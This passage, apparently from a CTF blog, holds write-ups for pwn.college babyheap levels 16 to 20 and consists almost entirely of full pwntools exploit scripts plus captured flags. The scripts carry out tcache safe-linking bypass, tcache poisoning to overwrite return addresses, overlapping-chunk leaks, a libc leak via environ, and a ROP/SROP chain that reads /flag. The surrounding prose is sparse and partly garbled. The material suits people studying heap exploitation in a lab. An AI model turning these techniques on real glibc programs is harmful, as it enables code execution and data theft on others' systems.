from pwn import (
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyheap_level16.0"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx).encode())


def scanf(idx, data):
    target.sendlineafter(b": ", b"scanf")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendline(data)


def send_flag(secret):
    target.sendlineafter(b": ", b"send_flag")
    target.sendlineafter(b"Secret: ", str(secret).encode())


def quit():
    target.sendlineafter(b": ", b"quit")


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)

    puts(0)
    target.recvuntil(b"Data: ")
    mangled = int.from_bytes(target.recvline().strip(), "little")

    puts(1)
    target.recvuntil(b"Data: ")
    pos = int.from_bytes(target.recvline().strip(), "little")
    heap = demangle(pos, mangled)

    secret = elf.bss() + 0x27B60
    secret_mangled_1 = mangle(pos, secret)
    secret_mangled_2 = mangle(pos, (secret - 0x8))

    target.success(f"pos: {hex(pos)}")
    target.success(f"mangled: {hex(mangled)}")
    target.success(f"heap: {hex(heap)}")
    target.success(f"secret: {hex(secret)}")
    target.success(f"secret_mangled_1: {hex(secret_mangled_1)}")
    target.success(f"secret_mangled_2: {hex(secret_mangled_2)}")

    scanf(0, flat(secret_mangled_1))
    malloc(0, 0)

    # the following malloc will be done 2 things:
    # 1/ zero out the last 8 bytes secret
    # 2/ let the first 8 bytes secret value to be the appropriate tcache bin's
    #    header
    malloc(0, 0)

    malloc(0, 0)
    # now the following free will use the value left on tcache bin header,
    # which is the secret value, to fill the fd
    free(0)
    puts(0)

    target.recvuntil(b"Data: ")
    secret_mangled = int.from_bytes(target.recv(8), "little")
    secret_demangled = demangle(pos, secret_mangled)
    target.success(f"secret_demangled: {hex(secret_demangled)}")

    secret = demangle(secret, secret_demangled, 0)
    target.success(f"secret: {hex(secret)}")

    send_flag(flat(secret, 0).decode())
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`pwn.college{MWVB7nml1ki-wvzXebiEIEuESuU.dhDO0MDL5cTNxgzW}`]

# Level 16.1

## Information

- Category: Pwn

## Description

> Revisit a prior challenge, now with TCACHE safe-linking.

## Write-up

 [Level 16.0](#level-160)

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyheap_level16.1"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx).encode())


def scanf(idx, data):
    target.sendlineafter(b": ", b"scanf")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendline(data)


def send_flag(secret):
    target.sendlineafter(b": ", b"send_flag")
    target.sendlineafter(b"Secret: ", str(secret).encode())


def quit():
    target.sendlineafter(b": ", b"quit")


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)

    puts(0)
    target.recvuntil(b"Data: ")
    mangled = int.from_bytes(target.recvline().strip(), "little")

    puts(1)
    target.recvuntil(b"Data: ")
    pos = int.from_bytes(target.recvline().strip(), "little")
    heap = demangle(pos, mangled)

    secret = elf.bss() + 0x1CE90
    secret_mangled_1 = mangle(pos, secret)
    secret_mangled_2 = mangle(pos, (secret - 0x8))

    target.success(f"pos: {hex(pos)}")
    target.success(f"mangled: {hex(mangled)}")
    target.success(f"heap: {hex(heap)}")
    target.success(f"secret: {hex(secret)}")
    target.success(f"secret_mangled_1: {hex(secret_mangled_1)}")
    target.success(f"secret_mangled_2: {hex(secret_mangled_2)}")

    scanf(0, flat(secret_mangled_1))
    malloc(0, 0)

    # the following malloc will be done 2 things:
    # 1/ zero out the last 8 bytes secret
    # 2/ let the first 8 bytes secret value to be the appropriate tcache bin's
    #    header
    malloc(0, 0)

    malloc(0, 0)
    # now the following free will use the value left on tcache bin header,
    # which is the secret value, to fill the fd
    free(0)
    puts(0)

    target.recvuntil(b"Data: ")
    secret_mangled = int.from_bytes(target.recv(8), "little")
    secret_demangled = demangle(pos, secret_mangled)
    target.success(f"secret_demangled: {hex(secret_demangled)}")

    secret = demangle(secret, secret_demangled, 0)
    target.success(f"secret: {hex(secret)}")

    send_flag(flat(secret, 0).decode())
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:sopiler[`pwn.college{ktet0NEaj6TQuRma_FkmhYKm5rq.dlDO0MDL5cTNxgzW}`]

# Level 17.0

## Information

- Category: Pwn

## Description

> Revisit a prior challenge, now with TCACHE safe-linking.

## Write-up

 RBP 
 `malloc_usable_size(ptr[n0xF_3])`  canary  size SIGSEGV
 canary  `scanf` can
ary 

 `ptr[16]` 
使 scanf 

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyheap_level17.0"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx).encode())


def scanf(idx, data):
    target.sendlineafter(b": ", b"scanf")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendline(data)


def quit():
    target.sendlineafter(b": ", b"quit")


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    target.recvuntil(b"[LEAK] The local stack address of your allocations is at:
 ")
    stack = int(target.recvline().strip()[:-1], 16)
    ret = stack + 0x118

    target.recvuntil(b"[LEAK] The address of main is at: ")
    elf.address = int(target.recvline().strip()[:-1], 16) - 0x1B1B

    target.success(f"stack: {hex(stack)}")
    target.success(f"pie: {hex(elf.address)}")

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)

    puts(1)
    target.recvuntil(b"Data: ")
    pos = int.from_bytes(target.recvline().strip(), "little")

    puts(0)
    target.recvuntil(b"Data: ")
    mangled = int.from_bytes(target.recvline().strip(), "little")
    heap = demangle(pos, mangled)

    target.success(f"pos: {hex(pos)}")
    target.success(f"mangled: {hex(mangled)}")
    target.success(f"heap: {hex(heap)}")

    stack_mangled = mangle(pos, stack)
    scanf(0, flat(stack_mangled))

    raw_input("DEBUG")
    malloc(0, 0)
    malloc(0, 0)

    payload = flat(
        stack,
        ret,
    )
    scanf(0, payload)

    scanf(1, flat(elf.sym["win"]))
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`pwn.college{wMAyk806GbwvQXzo8CWgpFdlih0.dBTO0MDL5cTNxgzW}`]

# Level 17.1

## Information

- Category: Pwn

## Description

> Revisit a prior challenge, now with TCACHE safe-linking.

## Write-up

 [Level 17.0](#level-170)

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyheap_level17.1"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx).encode())


def scanf(idx, data):
    target.sendlineafter(b": ", b"scanf")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendline(data)


def quit():
    target.sendlineafter(b": ", b"quit")


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    target.recvuntil(b"[LEAK] The local stack address of your allocations is at:
 ")
    stack = int(target.recvline().strip()[:-1], 16)
    ret = stack + 0x148

    target.recvuntil(b"[LEAK] The address of main is at: ")
    elf.address = int(target.recvline().strip()[:-1], 16) - 0x151B

    target.success(f"stack: {hex(stack)}")
    target.success(f"pie: {hex(elf.address)}")

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)

    puts(1)
    target.recvuntil(b"Data: ")
    pos = int.from_bytes(target.recvline().strip(), "little")

    puts(0)
    target.recvuntil(b"Data: ")
    mangled = int.from_bytes(target.recvline().strip(), "little")
    heap = demangle(pos, mangled)

    target.success(f"pos: {hex(pos)}")
    target.success(f"mangled: {hex(mangled)}")
    target.success(f"heap: {hex(heap)}")

    stack_mangled = mangle(pos, stack)
    scanf(0, flat(stack_mangled))

    raw_input("DEBUG")
    malloc(0, 0)
    malloc(0, 0)

    scanf(0, flat(ret))
    scanf(0, flat(elf.sym["win"]))
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`pwn.college{I8R8BzpNtgq5LKv4UV3QhQYfU3h.dFTO0MDL5cTNxgzW}`]

# Level 18.0

## Information

- Category: Pwn

## Description

> Revisit a prior challenge, now with TCACHE safe-linking.

## Write-up

 safe-linking 

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyheap_level18.0"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx).encode())


def scanf(idx, data):
    target.sendlineafter(b": ", b"scanf")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendline(data)


def send_flag(secret):
    target.sendlineafter(b": ", b"send_flag")
    target.sendlineafter(b"Secret: ", secret)


def stack_free():
    target.sendlineafter(b": ", b"stack_free")


def stack_scanf(data):
    target.sendlineafter(b": ", b"stack_scanf")
    target.sendline(data)


def quit():
    target.sendlineafter(b": ", b"quit")


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)

    puts(1)
    target.recvuntil(b"Data: ")
    pos = int.from_bytes(target.recvline().strip(), "little")

    puts(0)
    target.recvuntil(b"Data: ")
    mangled = int.from_bytes(target.recvline().strip(), "little")

    target.success(f"pos: {hex(pos)}")
    target.success(f"mangled: {hex(mangled)}")

    payload = flat(
        b"A" * 0x30,
        0,
        0x401,
    )

    stack_scanf(payload)
    stack_free()

    raw_input("DEBUG")
    malloc(0, 0x3F0)

    payload = flat(
        b"A" * 0xBB,
        0,
        0,
    )
    scanf(0, payload)
    send_flag(flat(0, 0))
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`pwn.college{w9fBk2-OmoD0TO7dLtn3ypPp0RY.dJTO0MDL5cTNxgzW}`]

# Level 18.1

## Information

- Category: Pwn

## Description

> Revisit a prior challenge, now with TCACHE safe-linking.

## Write-up

 [Level 18.0](#level-180)

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyheap_level18.1"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx).encode())


def scanf(idx, data):
    target.sendlineafter(b": ", b"scanf")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendline(data)


def send_flag(secret):
    target.sendlineafter(b": ", b"send_flag")
    target.sendlineafter(b"Secret: ", secret)


def stack_free():
    target.sendlineafter(b": ", b"stack_free")


def stack_scanf(data):
    target.sendlineafter(b": ", b"stack_scanf")
    target.sendline(data)


def quit():
    target.sendlineafter(b": ", b"quit")


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)

    puts(1)
    target.recvuntil(b"Data: ")
    pos = int.from_bytes(target.recvline().strip(), "little")

    puts(0)
    target.recvuntil(b"Data: ")
    mangled = int.from_bytes(target.recvline().strip(), "little")

    target.success(f"pos: {hex(pos)}")
    target.success(f"mangled: {hex(mangled)}")

    payload = flat(
        b"A" * 0x30,
        0,
        0x401,
    )

    stack_scanf(payload)
    stack_free()

    raw_input("DEBUG")
    malloc(0, 0x3F0)

    payload = flat(
        b"A" * 0x80,
        0,
        0,
    )
    scanf(0, payload)
    send_flag(flat(0, 0))
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`pwn.college{8b5lkMBpAAfr5wN2o6YrXmK9nLw.dNTO0MDL5cTNxgzW}`]

# Level 19.0

## Information

- Category: Pwn

## Description

> Leverage overlapping allocations to obtain the flag.

## Write-up

Description 使 overlapping [Mirr
or, Mirror on the Heap](/posts/pwn-notes/pwn-trick-notes/#mirror-mirror-on-the-h
eap) 

 inuse chunk  size 

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyheap_level19.0"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def safe_read(idx, data):
    target.sendlineafter(b": ", b"safe_read")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendline(data)


def safe_write(idx):
    target.sendlineafter(b": ", b"safe_write")
    target.sendlineafter(b"Index: ", str(idx).encode())


def read_flag():
    target.sendlineafter(b": ", b"read_flag")


def quit():
    target.sendlineafter(b": ", b"quit")


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    malloc(0, 0x20)
    malloc(1, 0)
    read_flag()

    payload = flat(
        b"A" * 0x20,
        0,
        0x61,
    )
    # raw_input("DEBUG")
    safe_read(0, payload)

    free(1)
    raw_input("DEBUG")
    malloc(0, 0x50)
    safe_write(0)
    target.recvuntil(b"pwn.college{")
    flag = target.recvline().decode()
    target.success(f"pwn.college{{{flag}")
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`pwn.college{UyW-UEWgMm10Cadm41NCv96TtqR.dRTO0MDL5cTNxgzW}`]

# Level 19.1

## Information

- Category: Pwn

## Description

> Leverage overlapping allocations to obtain the flag.

## Write-up

 [Level 19.0](#level-190)

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyheap_level19.1"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def safe_read(idx, data):
    target.sendlineafter(b": ", b"safe_read")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendline(data)


def safe_write(idx):
    target.sendlineafter(b": ", b"safe_write")
    target.sendlineafter(b"Index: ", str(idx).encode())


def read_flag():
    target.sendlineafter(b": ", b"read_flag")


def quit():
    target.sendlineafter(b": ", b"quit")


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    malloc(0, 0x20)
    malloc(1, 0)
    read_flag()

    payload = flat(
        b"A" * 0x20,
        0,
        0x61,
    )
    # raw_input("DEBUG")
    safe_read(0, payload)

    free(1)
    raw_input("DEBUG")
    malloc(0, 0x50)
    safe_write(0)
    target.recvuntil(b"pwn.college{")
    flag = target.recvline().decode()
    target.success(f"pwn.college{{{flag}")
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`pwn.college{ou87E6zOskHpMtWjDb0XpdVk9ub.dVTO0MDL5cTNxgzW}`]

# Level 20.0

## Information

- Category: Pwn

## Description

> 16 bytes and a dream.

## Write-up

 get  description  16 bytes 

 ret2libc  O
RW便 O
RW  SROP exp  ORW 

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    ROP,
    SigreturnFrame,
    args,
    constants,
    context,
    flat,
    process,
    raw_input,
    remote,
)

FILE = "/challenge/tcache-terror-easy"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
libc = ELF("/challenge/lib/libc.so.6")


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def safe_read(idx, data):
    target.sendlineafter(b": ", b"safe_read")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendline(data)


def safe_write(idx):
    target.sendlineafter(b": ", b"safe_write")
    target.sendlineafter(b"Index: ", str(idx).encode())


def quit():
    target.sendlineafter(b": ", b"quit")


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    malloc(0, 0x410)
    malloc(1, 0)
    free(0)
    malloc(0, 0x410)
    safe_write(0)

    target.recvlines(2)
    libc.address = int.from_bytes(target.recv(0x8).strip(), "little") - 0x219CE0

    free(1)
    malloc(0, 0)
    # raw_input("DEBUG")
    safe_write(0)

    target.recvlines(2)
    pos = int.from_bytes(target.recv(0x8).strip(), "little")

    malloc(0, 0x10)
    malloc(1, 0)
    malloc(2, 0)
    malloc(3, 0)
    free(3)
    free(2)

    payload = flat(
        b"A" * 0x10,
        0,
        0x41,
    )
    safe_read(0, payload)

    free(1)
    malloc(1, 0x30)

    payload = flat(
        b"A" * 0x10,
        0,
        0x21,
        mangle(pos, libc.sym["environ"]),
    )
    # raw_input("DEBUG")
    safe_read(1, payload)
    malloc(0, 0)
    malloc(0, 0)
    # raw_input("DEBUG")
    safe_write(0)

    target.recvlines(2)
    ret = int.from_bytes(target.recv(0x8).strip(), "little") - 0x120
    rbp = ret - 0x8

    target.success(f"libc: {hex(libc.address)}")
    target.success(f"pos: {hex(pos)}")
    target.success(f"ret: {hex(ret)}")

    malloc(0, 0x10)
    malloc(1, 0)
    malloc(2, 0x100)
    malloc(3, 0x100)
    free(3)
    free(2)

    payload = flat(
        b"A" * 0x10,
        0,
        0x221,
    )
    # raw_input("DEBUG")
    safe_read(0, payload)

    free(1)
    malloc(1, 0x210)

    payload = flat(
        b"A" * 0x10,
        0,
        0x111,
        mangle(pos, ret - 0x8),
    )
    # raw_input("DEBUG")
    safe_read(1, payload)

    malloc(0, 0x100)
    raw_input("DEBUG")
    malloc(0, 0x100)

    rop = ROP(libc)

    # payload = flat(
    #     # open
    #     b"/flagx00x00x00",
    #     rop.rdi.address,
    #     rbp,
    #     rop.rsi.address,
    #     0,
    #     rop.rax.address,
    #     constants.SYS_open,
    #     rop.find_gadget(["syscall", "ret"])[0],
    #     # read
    #     rop.rdi.address,
    #     3,
    #     rop.rsi.address,
    #     rbp - 0x100,
    #     rop.rdx.address,
    #     0x100,
    #     rop.rax.address,
    #     0,
    #     rop.find_gadget(["syscall", "ret"])[0],
    #     # write
    #     rop.rdi.address,
    #     1,
    #     rop.rsi.address,
    #     rbp - 0x100,
    #     rop.rdx.address,
    #     0x100,
    #     rop.rax.address,
    #     1,
    #     rop.find_gadget(["syscall", "ret"])[0],
    # )

    frame = SigreturnFrame()

    frame.rax = constants.SYS_sendfile
    frame.rdi = 1
    frame.rsi = 3
    frame.rdx = ret + 0x18
    frame.r10 = 0x100
    frame.rip = rop.find_gadget(["syscall", "ret"])[0]

    payload = flat(
        # open
        b"/flagx00x00x00",
        rop.rdi.address,
        rbp,
        rop.rsi.address,
        0,
        rop.rax.address,
        constants.SYS_open,
        rop.find_gadget(["syscall", "ret"])[0],
        # read
        rop.rdi.address,
        0,
        rop.rsi.address,
        rbp - 0x100,
        rop.rdx.address,
        0x100,
        rop.rax.address,
        0,
        rop.find_gadget(["syscall", "ret"])[0],
        # srop
        rop.rax.address,
        0xF,
        rop.rsp.address,
        rbp - 0x100,
    )

    # raw_input("DEBUG")
    safe_read(0, payload)
    raw_input("DEBUG")
    quit()

    payload = flat(
        rop.find_gadget(["syscall", "ret"])[0],
        frame,
    )
    target.send(payload)

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`pwn.college{4fglWsi6vXF1cQOmxoxHe6iLybu.dZTO0MDL5cTNxgzW}`]

# Level 20.1

## Information

- Category: Pwn

## Description

> 16 bytes and a dream.

## Write-up

 [Level 20.0](#level-200)

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    ROP,
    SigreturnFrame,
    args,
    constants,
    context,
    flat,
    process,
    raw_input,
    remote,
)

FILE = "/challenge/tcache-terror-hard"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
libc = ELF("/challenge/lib/libc.so.6")


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def safe_read(idx, data):
    target.sendlineafter(b": ", b"safe_read")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendline(data)


def safe_write(idx):
    target.sendlineafter(b": ", b"safe_write")
    target.sendlineafter(b"Index: ", str(idx).encode())


def quit():
    target.sendlineafter(b": ", b"quit")


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    malloc(0, 0x410)
    malloc(1, 0)
    free(0)
    malloc(0, 0x410)
    safe_write(0)

    libc.address = int.from_bytes(target.recv(0x8).strip(), "little") - 0x219CE0

    free(1)
    malloc(0, 0)
    # raw_input("DEBUG")
    safe_write(0)

    pos = int.from_bytes(target.recv(0x8).strip(), "little")

    malloc(0, 0x10)
    malloc(1, 0)
    malloc(2, 0)
    malloc(3, 0)
    free(3)
    free(2)

    payload = flat(
        b"A" * 0x10,
        0,
        0x41,
    )
    # raw_input("DEBUG")
    safe_read(0, payload)

    free(1)
    malloc(1, 0x30)

    payload = flat(
        b"A" * 0x10,
        0,
        0x21,
        mangle(pos, libc.sym["environ"]),
    )
    safe_read(1, payload)
    malloc(0, 0)
    malloc(0, 0)
    # raw_input("DEBUG")
    safe_write(0)

    ret = int.from_bytes(target.recv(0x8).strip(), "little") - 0x120
    rbp = ret - 0x8

    target.success(f"libc: {hex(libc.address)}")
    target.success(f"pos: {hex(pos)}")
    target.success(f"ret: {hex(ret)}")

    malloc(0, 0x10)
    malloc(1, 0)
    malloc(2, 0x100)
    malloc(3, 0x100)
    free(3)
    free(2)

    payload = flat(
        b"A" * 0x10,
        0,
        0x221,
    )
    # raw_input("DEBUG")
    safe_read(0, payload)

    free(1)
    malloc(1, 0x210)

    payload = flat(
        b"A" * 0x10,
        0,
        0x111,
        mangle(pos, ret - 0x8),
    )
    # raw_input("DEBUG")
    safe_read(1, payload)

    malloc(0, 0x100)
    raw_input("DEBUG")
    malloc(0, 0x100)

    rop = ROP(libc)

    # payload = flat(
    #     # open
    #     b"/flagx00x00x00",
    #     rop.rdi.address,
    #     rbp,
    #     rop.rsi.address,
    #     0,
    #     rop.rax.address,
    #     constants.SYS_open,
    #     rop.find_gadget(["syscall", "ret"])[0],
    #     # read
    #     rop.rdi.address,
    #     3,
    #     rop.rsi.address,
    #     rbp - 0x100,
    #     rop.rdx.address,
    #     0x100,
    #     rop.rax.address,
    #     0,
    #     rop.find_gadget(["syscall", "ret"])[0],
    #     # write
    #     rop.rdi.address,
    #     1,
    #     rop.rsi.address,
    #     rbp - 0x100,
    #     rop.rdx.address,
    #     0x100,
    #     rop.rax.address,
    #     1,
    #     rop.find_gadget(["syscall", "ret"])[0],
    # )

    frame = SigreturnFrame()

    frame.rax = constants.SYS_sendfile
    frame.rdi = 1
    frame.rsi = 3
    frame.rdx = ret + 0x18
    frame.r10 = 0x100
    frame.rip = rop.find_gadget(["syscall", "ret"])[0]

    payload = flat(
        # open
        b"/flagx00x00x00",
        rop.rdi.address,
        rbp,
        rop.rsi.address,
        0,
        rop.rax.address,
        constants.SYS_open,
        rop.find_gadget(["syscall", "ret"])[0],
        # read
        rop.rdi.address,
        0,
        rop.rsi.address,
        rbp - 0x100,
        rop.rdx.address,
        0x100,
        rop.rax.address,
        0,
        rop.find_gadget(["syscall", "ret"])[0],
        # srop
        rop.rax.address,
        0xF,
        rop.rsp.address,
        rbp - 0x100,
    )

    # raw_input("DEBUG")
    safe_read(0, payload)
    raw_input("DEBUG")
    quit()

    payload = flat(
        rop.find_gadget(["syscall", "ret"])[0],
        frame,
    )
    target.send(payload)

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`pwn.college{I4gOWGlF1e4mxxQJzpY65moHbAQ.ddTO0MDL5cTNxgzW}`]

# 

 heap 
 dynamic-allocator-exploitation chapter  h
ow2heap